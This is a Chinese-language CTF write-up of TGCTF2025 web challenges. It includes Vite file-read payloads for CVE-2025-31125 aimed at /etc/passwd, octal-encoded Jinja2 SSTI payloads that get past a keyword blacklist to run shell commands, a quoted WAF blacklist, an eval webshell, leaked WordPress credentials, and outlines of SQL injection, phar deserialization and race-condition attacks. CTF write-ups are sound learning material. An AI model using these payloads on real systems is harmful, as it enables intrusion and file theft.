CTF
TGCTF2025
前端GAME
利用vite的那个最新的CVE读取flag
前端GAME Plus
看源代码可知版本是:”vite”: “6.2.4”
这个版本还有一个payload。可以看这篇文章:Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)-先知社区
1 | /etc/passwd?import&?fffffilm.svg?.wasm?init |
其实这个也行:使用 ‘.svg’ 或相对路径绕过 ‘server.fs.deny
前端GAME Ultra
这题给docker了。
“vite”: “6.2.5”,又更新了一个版本
翻vite的security就行。里面有针对各个版本的payload。
找到6.2.5的payload:
1 | @fs/app/#/../../tgflagggg |
火眼辩魑魅
robots.txt找到一堆可利用的
tgshell.php是个eval,直接蚁剑连shell就好了
直面天命
打ssti,但是{被过滤了,放弃。hint路由说有一个四个小写字母组成的路由
爆破得到aazz(这样设计的话只要爆破不到700次就行,还挺快的
/aazz?filename=app.py得到源码
1 | import os |
/aazz?filename=/a/b/c/d/secret.py得到secretkey
1 | # 找到六根又如何?还不是听天由命?直面天命吧,天命人!<br> |
读源码发现可以这样:直面7*7天命 实现ssti
看看waf
black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
只过滤关键字等于没有过滤,直接利用编码绕过就好了
先拿globals
1 | 直面''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()天命 |
得到224: warnings.catch_warnings
1 | 直面''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[224]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\166\141\154']('\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\160\157\160\145\156\50\42\143\141\164\40\57\146\154\141\147\42\51\56\162\145\141\144\50\51')天命 |
原始payload
1 | {{''.__class__.__base__.__subclasses__()[224].__init__['__globals__']['__builtins__']['eval']("__import__("os").popen("cat /flag").read()")}} |
直面天命(复仇)
读源码发现现在是天命难违包裹ssti
还是过滤关键字,然后flag名字换了一下。用一样的方法梭了就好了。
1 | {{''.__class__.__base__.__subclasses__()[224].__init__['__globals__']['__builtins__']['eval']("__import__("os").popen("__import__("os").popen("cat /tgffff11111aaaagggggggg").read()").read()")}} |
AAA偷渡阴平
无参数rce
AAA偷渡阴平(复仇)
1 |
|
考虑用session打无参数rce,但是报这个了。
询问gpt
但我记得之前这样也能打啊,怪
(ez)upload
文件后缀黑名单写的很死,但是没过滤.user.ini。可是上传目录里面没有php文件,所以打不了。
后来发现upload.php.bak
审计发现存在目录穿越漏洞,利用这个,把.user.ini传到web目录就可以利用upload.php了。
1 |
|
利用get参数目录穿越,上传文件
rce:
什么文件上传?
robots.txt发现class.php
直接打反序列化就好了
1 |
|
什么文件上传?(复仇)
直接反序列化不了了,但是有file_exit函数,可以打phar反序列化
接下来的问题是找到robots.txt说的三位小写字母后缀文件。
爆破一下就行
然后上传我们的phar文件,payload还是之前那个
1 |
|
TG_wordpress
robots.txt
给pwn手打一下
1 | from pwn import* |
拿到账号密码
TG_wordpressor
aXx^oV@K&cFoVaztQ*
登录后台之后是
CVE-2020-25213 WordPress远程代码执行漏洞复现
但是开这个WP File Manager插件一开环境就寄了。并且打的时候的确会触发waf
估计就是这个漏洞,但是一直打不出来。后面发现题目下架重上了,说提交CVE编号就行。
提交TGCTF{CVE-2020-25213}
正确。
熟悉的配方,熟悉的味道
1 | from pyramid.config import Configurator |
发现checkExpr里面有个无过滤的exec。本地测试的确可以执行命令,但是没有回显。并且靶机不出网,打一个内存马即可。
奇安信攻防社区-强网杯S8决赛Pyramid框架下内存马的分析构造及RS加密签名伪造
1 | import requests |
TGCTF 2025 后台管理
发现输入单引号时会触发waf。并且只过滤了单引号。而sql语句又是’闭合的。可以利用\配合布尔盲注就好了
可以看到成功跳转
可以用这个拿到库名
payload = “ord(mid(database(),%d,1))>%d” % (i, tmp)
tgctf
但是有长度限制,一直注入不出来表名和字段名
随便试几个拿到了flag表。但是字段不知道,继续猜
username字段->tgmin
password字段->tshdjkashdjsj
这两个拿到也没用。
但是flag在哪一直找不到。后来试一下发现可以直接select * from flag。 why,我本地测试明明通不过。可能这个题为了长度限制调整了表结构,也许吧,不是很懂。
完整盲注脚本
1 | import requests |
老登,炸鱼来了?
1 | package main |
我们先看waf
1 | func blackJack(path string) error { |
这里的waf直接绕是绕不过的。但是我们再看到读取的逻辑
1 | name := r.URL.Query().Get("name") |
在 Go 语言中,操作符 :=
用于变量的 声明 和赋值,而 =
仅用于变量赋值。发现safe变量是在main函数里面声明定义的,也就是说定义域足够
- 先传一个
name=xxx
,这将使safe
被赋值为nil
。 - 再传name=../../../flag,如果这时候
safe
仍然为nil
,就可以读取到flag了。
竞争脚本如下
1 | import aiohttp |